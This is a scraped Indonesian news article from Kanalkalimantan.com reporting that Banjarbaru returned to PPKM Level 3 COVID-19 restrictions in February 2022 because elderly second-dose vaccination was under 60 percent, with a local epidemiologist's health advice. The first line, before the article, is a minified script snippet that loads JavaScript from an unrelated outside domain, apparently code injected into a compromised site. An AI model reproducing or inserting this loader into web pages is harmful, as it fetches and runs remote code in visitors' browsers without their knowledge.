(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kota Banjarbaru Kembali ke PPKM Level 3


KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru kembali ke Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) Level 3, menyusul adanya Inmendagri nomor 11 tahun 2022 yang menyatakan Kota Banjarbaru kembali ke PPKM Level 3.

Epidemiolog Kesehatan dari Dinkes Banjarbaru Banjarbaru, Edi Sampana mengatakan, salah satu penyebab utamanya adalah capaian vaksinasi lansia untuk dosis 2 masih di bawah 60 persen.

“Banyak variabel yg mempengaruhi status PPKM, salah satunya vaksinasi lansia yang masih di angka 55,94 persen,” ungkapnya kepada Kanalkalimantan.com, Selasa (15/2/2022).

Disamping itu dari assesment hal yang mempengaruhi juga angka kasus baru, angka rawar inap, CFR, kapasitas testing, kapasitas tracking, BOR, cakupan vaksinasi dosis pertama dan cakupan vaksinasi dosis pertama lansia.

 

 

Baca juga: Tiga Kali Surat Peringatan, Akhirnya Bangunan di Bekas Pasar Bauntung Banjarbaru Dibongkar

“Supaya PPKM Banjarbaru bisa turun ke level 2 atau 1, kita harus menggenjot dosis kedua lansia. Saat ini kita di Banjarbaru baru mencapai 55,94 persen, dalam 14 hari kedepan harus tercapai 60 persen,” ujarnya.

Dinkes Banjarbaru mengimbau kepada masyarakat untuk segera melakukan vaksinasi terutama lansia yang rentan terkena Covid-19, kemudian menghindari kerumunan lebih dari 15 menit.

Terus disiplin menerapkan protokol kesehatan, kalau ada gejala sakit tenggorokan, batuk, pilek, sakit kepala segera lapor ke Puskesmas atau tes rapid antigen mandiri,

“Tingkatkan imunitas dgn selalu gembira, berjemur matahari, cukup istirahat/gizi/olahraga,” tambahnya.

Baca juga: Janji Jokowi Ubah Sampah Plastik Jadi Listrik, Demi Lindungi Laut Indonesia

Lanjut Edi, kalau ada gejala sakit tenggorokan, batuk, pilek, sakit kepala segera lapor ke puskesmas atau tes rapid antigen mandiri, jika positif Covid-19 segera lakukan isolasi mandiri minimal 10 hari dan mengakses telemedisin kalau terjadi gejala ringan atau sedang dan segera lapor ke Puskesmas atau langsung ke RS kalau gejala sedang atau berat.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

5 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

5 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

7 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

7 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

8 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

13 jam ago

This website uses cookies.